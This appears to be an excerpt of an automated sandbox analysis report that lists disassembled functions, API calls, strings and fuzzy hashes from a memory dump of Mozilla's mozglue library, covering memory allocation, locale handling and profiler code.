Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ac13d5d7d4bd59c0c750128f9d06fe26fb907556da472920bfe22e053f82d846
Instruction ID: 2168101b6a518a05f53d465d4dee023b39a33af63bd3b0ab8815b1d268eb7f49
Opcode Fuzzy Hash: ac13d5d7d4bd59c0c750128f9d06fe26fb907556da472920bfe22e053f82d846
Instruction Fuzzy Hash: 2E719D71909B818BD712CF18D58055BF3F4FF99315B448659E89A9BB01EB30E8C9CBC2

Function 6CB1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB1DDCF

Part of subcall function 6CAFFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFFA4B

Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB190FF
Part of subcall function 6CB190E0: free.MOZGLUE(?,00000000,?,?,6CB1DEDB), ref: 6CB19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DE0D
free.MOZGLUE(00000000), ref: 6CB1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB0DEFD,?,6CAD4A68), ref: 6CB1DF32

Part of subcall function 6CB1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB1DB86
Part of subcall function 6CB1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB0DEFD,?,6CAD4A68), ref: 6CB1DF65
free.MOZGLUE(?), ref: 6CB1DF80

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: dea8123cb9d71ac6961c1ba773fd0489f1497fe1d0c5cdc825e2eb7970c2ac47
Instruction ID: d6f1e10dc149d59d8193cbaed3900897585db2ad16dfc7967bb4c88eeb0672e8
Opcode Fuzzy Hash: dea8123cb9d71ac6961c1ba773fd0489f1497fe1d0c5cdc825e2eb7970c2ac47
Instruction Fuzzy Hash: 8351D5736096509BDB229B38E8806AEB3B6FF95709F95051CD81A53F00DB31F959CBC2

Function 6CB25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25DC9
std::_Facet_Register.LIBCPMT ref: 6CB25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB25C8C,?,6CAFE829), ref: 6CB25E45

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 238dd6cfbf75d53e36ec407f3293c8e0e9a7e4a9748d3178171ee4168d6ab2ff
Instruction ID: fb16c482555c161eaa131c56bfea58c49e385ceee3e9b3286813089906d4a19e
Opcode Fuzzy Hash: 238dd6cfbf75d53e36ec407f3293c8e0e9a7e4a9748d3178171ee4168d6ab2ff
Instruction Fuzzy Hash: E44194307042549FCB00EF69C898EAE77B5FF49358F544068E60997795EB34EC09CB55

Function 6CAFCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAC31A7), ref: 6CAFCDDD

Strings

<jemalloc>, xrefs: 6CAFCF9F, 6CAFCFB3
: (malloc) Error in VirtualFree(), xrefs: 6CAFCFA4, 6CAFCFB8

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: f4b09be8860ec803bedbe3732d9b6409c145fa587b4a4711a69f56e9038796d5
Instruction ID: c9d3a7811ec9e4aa9d05b78097d05512f498f1681229c237837f3e5622471a26
Opcode Fuzzy Hash: f4b09be8860ec803bedbe3732d9b6409c145fa587b4a4711a69f56e9038796d5
Instruction Fuzzy Hash: FF31A7317442056BFF24AE6ACC45BAE7B75BB4171CF248014F625ABAC4DB70D5418B91

Function 6CACECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACF100: LoadLibraryW.KERNEL32(shell32,?,6CB3D020), ref: 6CACF122
Part of subcall function 6CACF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CACF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CACED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CACEDCC
CreateFileW.KERNEL32 ref: 6CACEE08
free.MOZGLUE(00000000), ref: 6CACEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CACEE32

Part of subcall function 6CACEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CACEBB5
Part of subcall function 6CACEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CAFD7F3), ref: 6CACEBC3
Part of subcall function 6CACEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CAFD7F3), ref: 6CACEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CACEDC1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ba74ebd1e997cae3cef991a21069df27e1c277fed33cab793fcc7e0ea12c8b71
Instruction ID: e125dba41958417c8ff44e1023b3881b391a19be0f3bc70dc3d1370540d55401
Opcode Fuzzy Hash: ba74ebd1e997cae3cef991a21069df27e1c277fed33cab793fcc7e0ea12c8b71
Instruction Fuzzy Hash: C9511171E052589BDB01DF68C9426EEB7B0AF49318F48852DE8557B740EB30A9C8C7E3

Function 6CB3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3A565

Part of subcall function 6CB3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB3A4BE
Part of subcall function 6CB3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB3A6B6

Strings

0, xrefs: 6CB3A5FB
z, xrefs: 6CB3A6AE

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 3959567aa61b792c852948aef6e2882fb1aa07a1d671b46597eee65d2789dd6e
Instruction ID: bba2467b8b69f4eaad26b77f3b53b57c4a3039d935e28577918f4f64125fa9df
Opcode Fuzzy Hash: 3959567aa61b792c852948aef6e2882fb1aa07a1d671b46597eee65d2789dd6e
Instruction Fuzzy Hash: 7D414771A087459FC741DF28C080A8EBBE4BF89344F509A2EF49987650EB30E549CB83

Function 6CAC78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB4008B), ref: 6CAC7B89
free.MOZGLUE(?,6CB4008B), ref: 6CAC7BAC

Part of subcall function 6CAC78C0: free.MOZGLUE(?,6CB4008B), ref: 6CAC7BCF

free.MOZGLUE(?,6CB4008B), ref: 6CAC7BF2

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: b46b8a5a7bcf27ac1d46e2b8a2d41fa526779464e3c42c4d4808b787186faa4b
Instruction ID: 58b090cc65a752fb6dafdd01c7bf3c3303e0506cb2aa360c576d85a0a1c6a9af
Opcode Fuzzy Hash: b46b8a5a7bcf27ac1d46e2b8a2d41fa526779464e3c42c4d4808b787186faa4b
Instruction Fuzzy Hash: 11C1A231F051288BEB24CB68DD90B9DB772AF41318F1546A9D51AEBBC0C7319EC98F52

Function 6CB09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
__Init_thread_footer.LIBCMT ref: 6CB0949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB0946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB09459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB0947D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1425f7f118d956e4ddcea96ad9dc8bd66472b3ed982f9d178563909b06af5199
Instruction ID: a684207471f79d3e37432681b0c0f388623947251bc8909d1fd97e6c29a32886
Opcode Fuzzy Hash: 1425f7f118d956e4ddcea96ad9dc8bd66472b3ed982f9d178563909b06af5199
Instruction Fuzzy Hash: 3A012874F0814187D720AB5CD800A8A37BAFB0537DF058536E90687B45EA31D8698957

Function 6CB10F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB10F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB10F88
GetCurrentThreadId.KERNEL32 ref: 6CB10FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB11067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB1114B

Part of subcall function 6CB08AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB21563), ref: 6CB08BD5

free.MOZGLUE(?), ref: 6CB11174
free.MOZGLUE(?), ref: 6CB11186

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: babd3f7459cb3c46bdaf182dfbe69a8478a985c8e1ce4b0c3a9fc0995fecbdb3
Instruction ID: f152f08981b0ec1e7073e9a36e27e8fb59a1a2c5f337d5f036a01a9cd0b8e4fb
Opcode Fuzzy Hash: babd3f7459cb3c46bdaf182dfbe69a8478a985c8e1ce4b0c3a9fc0995fecbdb3
Instruction Fuzzy Hash: A161CD75A083808BCB10DF24D880BAEB7F5BFD5318F04891DE88947B11EB31E499CB82

Function 6CACB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6AC

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CACB61E), ref: 6CACB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CACB61E,?,?,?,?,?,00000000), ref: 6CACB79A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7aa756bf7f177b794a95054c1e0e7e04d10f232e9d1ba9d666f53726decd8015
Instruction ID: 38257e71f7f317aa1716d2f02d3a5dcb5095295bdf5efbd374a1bc8e24387ced
Opcode Fuzzy Hash: 7aa756bf7f177b794a95054c1e0e7e04d10f232e9d1ba9d666f53726decd8015
Instruction Fuzzy Hash: 4541B6B2E001159FCB04DF68EC405AFB7B5BB54324F250769E825E7790D732A9548BD2

Function 6CACEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB45104), ref: 6CACEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CACEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACEFEC
free.MOZGLUE(?), ref: 6CACF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CACF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CACF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CACF065
moz_xmalloc.MOZGLUE ref: 6CACF072

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: d7059d3c410d84f5fcce64495e0e3dc9d4e6691828545a5ba4c08dba222755c0
Instruction ID: 0cd3cbcd8cef80b4574f8821207c68f51479c673b8ad743330250e51a8ced559
Opcode Fuzzy Hash: d7059d3c410d84f5fcce64495e0e3dc9d4e6691828545a5ba4c08dba222755c0
Instruction Fuzzy Hash: E241D3B1B002159FCB08CF68DC819AF77A5BF85324B24422CE816DB794FB31E95587E2

Function 6CB3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB3B5F4
__Init_thread_footer.LIBCMT ref: 6CB3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB3B61F
std::_Facet_Register.LIBCPMT ref: 6CB3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3B655

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4f879a4e4495dbb161b5b3481344e60d56afcfb9a83b83e7e1a1ba2be87b942d
Instruction ID: 52e0afae3adb220f21178cef141c75c557aeb5eb79242637d1a8e89055933747
Opcode Fuzzy Hash: 4f879a4e4495dbb161b5b3481344e60d56afcfb9a83b83e7e1a1ba2be87b942d
Instruction Fuzzy Hash: 1531E771B04564CBCF00EF68C8549AEB7B5FF85328F154569E91697744DB30AC06CF91

Function 6CAD9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB27ABE), ref: 6CAD985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB27ABE), ref: 6CAD98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CAD9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CAD9918
free.MOZGLUE(?), ref: 6CAD9975

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 36ef641c4deb1a4f37ed7f362d6ee24ea62a75478e741cbbc8a1a641ffbcbc12
Instruction ID: 2abbc91c9c24e4050c762024d79b9d67fb3a1bb447fa8f95c59413e4babec06d
Opcode Fuzzy Hash: 36ef641c4deb1a4f37ed7f362d6ee24ea62a75478e741cbbc8a1a641ffbcbc12
Instruction Fuzzy Hash: 8171AB746047058FC724CF78C59095AB7F1FF4A3287254AADD85A8BBA0DB31F885CB91

Function 6CADB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE), ref: 6CADB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB1CC83,?,?,?,?,?,?,?,?,?,6CB1BCAE,?,?,6CB0DC2C), ref: 6CADB896

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
